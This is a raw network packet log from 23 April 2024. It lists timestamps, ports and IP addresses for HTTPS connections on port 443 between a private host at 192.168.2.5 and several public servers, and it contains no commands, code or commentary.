Apr 23, 2024 21:53:22.337126017 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.338295937 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.340116024 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.349095106 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.358958960 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.359081984 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.359154940 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.359260082 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.359285116 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.359328032 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.359333038 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.384114981 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.410031080 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.410084963 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.410208941 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.410942078 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.410955906 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.511193037 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.511435986 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.511524916 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.515750885 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.515772104 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.556741953 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.556936026 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.557013035 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.563014030 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.563030958 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.666084051 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.666254044 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.680150032 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:22.680180073 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:22.680345058 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:22.682848930 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:22.682864904 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:22.686439991 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.686474085 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.687393904 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.688882113 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.736116886 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.822053909 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822086096 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822107077 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822139025 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822163105 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822185040 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822206020 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822249889 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822276115 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822300911 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822304964 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822323084 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822354078 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.822355986 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.822398901 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.847048998 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.847069979 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.910866022 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.910917044 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.910998106 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.919306040 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.919346094 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.981482029 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.981767893 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.981899023 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:23.003086090 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:23.003107071 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:23.003120899 CEST	49720	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:23.003128052 CEST	443	49720	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:23.009931087 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.010750055 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.010760069 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.014331102 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.014401913 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.015168905 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.015245914 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.015319109 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.056344032 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.056355000 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.066385984 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.066472054 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.066569090 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.066788912 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.066817999 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.103214025 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.223733902 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.223982096 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.224045038 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.224390030 CEST	49721	443	192.168.2.5	13.107.213.41
Apr 23, 2024 21:53:23.224411964 CEST	443	49721	13.107.213.41	192.168.2.5
Apr 23, 2024 21:53:23.239590883 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.239862919 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.239898920 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.240391016 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.240715027 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.240808964 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.240843058 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.284118891 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.290733099 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.436570883 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.436783075 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.436824083 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.437767982 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.437825918 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.443157911 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.443224907 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.443592072 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.443599939 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.494455099 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.553817034 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.553844929 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.553906918 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.556111097 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.556126118 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.564951897 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.565018892 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.565109968 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.569065094 CEST	49723	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.569076061 CEST	443	49723	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.607250929 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.607301950 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.607367039 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.608959913 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.609004974 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.746896982 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.746936083 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.746946096 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.746961117 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.746994019 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.747010946 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.747072935 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.747103930 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.747140884 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.747140884 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.747145891 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.747175932 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.747195959 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.788814068 CEST	49722	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.788853884 CEST	443	49722	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.827584028 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.827630997 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.827698946 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.828161001 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.828175068 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.882507086 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.882850885 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.882903099 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.886167049 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.886256933 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.886842012 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.886970043 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.887049913 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.931449890 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.931457996 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:23.978336096 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:23.978816986 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.981659889 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.981693983 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.982974052 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.983767986 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:23.983952999 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:23.984170914 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.028165102 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.153301954 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.194317102 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.194344997 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.198477983 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.198570013 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.203649998 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.203860998 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.203866959 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239131927 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239191055 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239211082 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239250898 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239254951 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239269972 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239284992 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239289045 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239306927 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239320040 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239325047 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239341021 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239388943 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239459991 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239525080 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239530087 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239545107 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239573956 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239588022 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.239629030 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.239681959 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.241889000 CEST	49724	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.241904020 CEST	443	49724	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.243943930 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.243967056 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.289772034 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.298643112 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.298907042 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.298974037 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.302510977 CEST	49725	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.302539110 CEST	443	49725	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.477596045 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477659941 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477679968 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477714062 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477725983 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477730036 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477751017 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477763891 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477780104 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477783918 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477806091 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477827072 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477902889 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477922916 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477960110 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477963924 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.477982044 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.477999926 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.478144884 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.478203058 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.478549004 CEST	49726	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:24.478569031 CEST	443	49726	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:24.479259014 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.479281902 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.479443073 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.479583025 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.479602098 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.856044054 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.856409073 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.856424093 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.860426903 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.860491037 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.860966921 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.861135960 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.861439943 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.861448050 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.915983915 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.984292984 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.984421968 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.984499931 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.985327005 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.985351086 CEST	443	49727	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:24.985363960 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:24.985424042 CEST	49727	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:29.419480085 CEST	443	49712	74.125.136.103	192.168.2.5
Apr 23, 2024 21:53:29.419540882 CEST	443	49712	74.125.136.103	192.168.2.5
Apr 23, 2024 21:53:29.419688940 CEST	49712	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:53:31.339967966 CEST	49712	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:53:31.340017080 CEST	443	49712	74.125.136.103	192.168.2.5
Apr 23, 2024 21:53:31.764055014 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:31.771756887 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:31.774656057 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:31.774687052 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:31.774813890 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:31.777856112 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:31.777870893 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:31.915270090 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:31.922765017 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.093668938 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.093755960 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.110776901 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.110795021 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.111089945 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.111187935 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.111597061 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.111618042 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.112026930 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.112035036 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.438874006 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.438957930 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.439189911 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.439317942 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.439363956 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.439424038 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.444010019 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.444034100 CEST	443	49733	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:32.444065094 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:32.444228888 CEST	49733	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:37.116082907 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.116132975 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.116430998 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.117250919 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.117266893 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.480916023 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.481520891 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.481549025 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.482706070 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.483303070 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.483475924 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.483807087 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.528126001 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.613095999 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.613262892 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.613326073 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.613883018 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.613905907 CEST	443	49736	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.613915920 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.613975048 CEST	49736	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.615078926 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.615103006 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:37.615281105 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.615947008 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:37.615959883 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.016513109 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.016938925 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.016954899 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.018186092 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.019114971 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.019278049 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.019488096 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.060142040 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.344455957 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.344629049 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.344719887 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.346215010 CEST	49737	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.346239090 CEST	443	49737	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.392020941 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.392065048 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.392136097 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.392474890 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.392494917 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.508814096 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.508909941 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.509061098 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.509440899 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.509494066 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.509574890 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.509798050 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.509829998 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.510293961 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.510312080 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.741064072 CEST	443	49740	172.67.143.205	192.168.2.5
